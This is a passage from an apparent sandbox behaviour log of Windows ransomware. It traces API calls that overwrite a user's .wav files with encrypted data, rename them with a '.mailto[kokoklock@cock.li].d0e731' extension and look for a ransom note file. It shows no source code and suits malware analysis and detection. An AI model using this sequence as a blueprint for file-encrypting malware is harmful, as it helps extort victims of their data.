(HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.212] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.212] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053f38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x188ff858, lpOverlapped=0x0 | out: lpBuffer=0x3053f38*, lpNumberOfBytesWritten=0x188ff858*=0x8, lpOverlapped=0x0) returned 1 [0173.212] WriteFile (in: hFile=0x5d0, lpBuffer=0x188ff870*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x188ff858, lpOverlapped=0x0 | out: lpBuffer=0x188ff870*, lpNumberOfBytesWritten=0x188ff858*=0x4, lpOverlapped=0x0) returned 1 [0173.212] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x188ff858, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x188ff858*=0x4, lpOverlapped=0x0) returned 1 [0173.213] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x188ff858, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x188ff858*=0x6c, lpOverlapped=0x0) returned 1 [0173.213] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x188ff858, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x188ff858*=0x20, lpOverlapped=0x0) returned 1 [0173.213] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x188ff858, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x188ff858*=0x4, lpOverlapped=0x0) returned 1 [0173.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053f38) returned 1 [0173.213] CloseHandle (hObject=0x5d0) returned 1 [0173.213] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x3054920 [0173.213] wcscpy (in: _Dest=0x3054920, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731" [0173.213] wcscat (in: _Dest=0x3054920, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.213] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\zkjqfivubc91ouqlhwt5.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\zkjqfivubc91ouqlhwt5.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.214] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.214] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054920) returned 1 [0173.215] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.215] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f95c28 [0173.215] wcscpy (in: _Dest=0x2f95c28, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0173.215] wcscat (in: _Dest=0x2f95c28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0173.215] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0173.215] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95c28) returned 1 [0173.215] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056d40) returned 1 [0173.215] RtlExitUserThread (Status=0x1) Thread: id = 2099 os_tid = 0x11b4 [0173.217] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\0_xoaevdn0.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.218] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.218] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\0_xoaevdn0.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0 [0173.218] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x1897fb18 | out: lpFileSize=0x1897fb18*=10821) returned 1 [0173.218] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x2a41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.218] ReadFile (in: hFile=0x5d0, lpBuffer=0x1897faec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1897fae8, lpOverlapped=0x0 | out: lpBuffer=0x1897faec*, lpNumberOfBytesRead=0x1897fae8*=0x4, lpOverlapped=0x0) returned 1 [0173.219] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ee8 [0173.219] NtQuerySystemTime (in: CurrentTime=0x1897fac4 | out: CurrentTime=0x1897fac4*=132121213305295816) returned 0x0 [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x1e25451c [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xd00684af [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x6ebf142a [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xbb5ab0ec [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xd6e8353b [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xb586e49f [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x8b2ba1d8 [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x22dd554 [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xeb4c0ce8 [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xcddda0d1 [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x7b0486dc [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x917499da [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x57d445c5 [0173.219] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xefe1afcf [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xa45ab20d [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x2c5856a6 [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x3601c1ee [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x6c8ea75e [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x3b3dd461 [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x333e545 [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xb842848d [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x707c1930 [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x7b7d6c81 [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x78eda4bb [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x187603c0 [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xc80e802d [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0xa1359738 [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x6bc3a467 [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x5fb0298c [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x790a1ada [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x52119059 [0173.220] RtlRandom (in: Seed=0x1897fad0 | out: Seed=0x1897fad0) returned 0x5960c0f5 [0173.229] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053f38 [0173.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.231] ReadFile (in: hFile=0x5d0, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x2a45, lpNumberOfBytesRead=0x1897fac4, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1897fac4*=0x2a45, lpOverlapped=0x0) returned 1 [0173.232] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1897fa8c | out: lpNewFilePointer=0x0) returned 1 [0173.232] WriteFile (in: hFile=0x5d0, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x2a45, lpNumberOfBytesWritten=0x1897fac0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1897fac0*=0x2a45, lpOverlapped=0x0) returned 1 [0173.232] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.232] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.232] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.232] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1897fabc, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x1897fabc*=0x20, lpOverlapped=0x0) returned 1 [0173.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.233] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053f38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1897fae8, lpOverlapped=0x0 | out: lpBuffer=0x3053f38*, lpNumberOfBytesWritten=0x1897fae8*=0x8, lpOverlapped=0x0) returned 1 [0173.233] WriteFile (in: hFile=0x5d0, lpBuffer=0x1897fb00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1897fae8, lpOverlapped=0x0 | out: lpBuffer=0x1897fb00*, lpNumberOfBytesWritten=0x1897fae8*=0x4, lpOverlapped=0x0) returned 1 [0173.233] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1897fae8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1897fae8*=0x4, lpOverlapped=0x0) returned 1 [0173.233] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1897fae8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1897fae8*=0x6c, lpOverlapped=0x0) returned 1 [0173.233] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1897fae8, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x1897fae8*=0x20, lpOverlapped=0x0) returned 1 [0173.233] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1897fae8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1897fae8*=0x4, lpOverlapped=0x0) returned 1 [0173.234] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.234] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.234] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053f38) returned 1 [0173.234] CloseHandle (hObject=0x5d0) returned 1 [0173.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf2) returned 0x2f85218 [0173.234] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731" [0173.234] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.234] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\0_xoaevdn0.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\0_xoaevdn0.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.235] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.235] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0173.235] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.235] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x76) returned 0x2f8b410 [0173.235] wcscpy (in: _Dest=0x2f8b410, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0173.235] wcscat (in: _Dest=0x2f8b410, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" [0173.235] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\d0e731-readme.txt")) returned 0x20 [0173.236] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b410) returned 1 [0173.236] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83960) returned 1 [0173.236] RtlExitUserThread (Status=0x1) Thread: id = 2100 os_tid = 0x11b8 [0173.237] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.237] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0 [0173.237] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x189ffc78 | out: lpFileSize=0x189ffc78*=63493) returned 1 [0173.237] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0xf801, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.238] ReadFile (in: hFile=0x5d0, lpBuffer=0x189ffc4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x189ffc48, lpOverlapped=0x0 | out: lpBuffer=0x189ffc4c*, lpNumberOfBytesRead=0x189ffc48*=0x4, lpOverlapped=0x0) returned 1 [0173.238] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053f10 [0173.239] NtQuerySystemTime (in: CurrentTime=0x189ffc24 | out: CurrentTime=0x189ffc24*=132121213305608226) returned 0x0 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xed734d40 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x70bfe3fa [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x3854b646 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x5a455b29 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x718a63fb [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xb0e15ade [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xdaf4bc0b [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x1af91fe6 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x45485a67 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x7d06ab69 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xd91462c5 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x9bcf6ab5 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x4053b913 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x2f11ab3 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x7c98e48 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x98c477a4 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xf31d2aa5 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xccf29e7f [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x316b8a09 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x7611c557 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x2ae4f55a [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xfc1007b2 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x37ef154c [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x3879cf0e [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xc2c1b4c7 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xe2ac5ee3 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x50860135 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0x6bd4553d [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xafcdb9f7 [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xb4f2945d [0173.239] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xe971bb53 [0173.240] RtlRandom (in: Seed=0x189ffc30 | out: Seed=0x189ffc30) returned 0xb507f580 [0173.248] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053f38 [0173.250] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.250] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.250] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.251] ReadFile (in: hFile=0x5d0, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x189ffbfc, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x189ffbfc*=0x4096, lpOverlapped=0x0) returned 1 [0173.251] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.252] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.252] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.252] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.252] WriteFile (in: hFile=0x5d0, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x189ffbfc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x189ffbfc*=0x4096, lpOverlapped=0x0) returned 1 [0173.252] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.252] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0xf805, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.252] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, 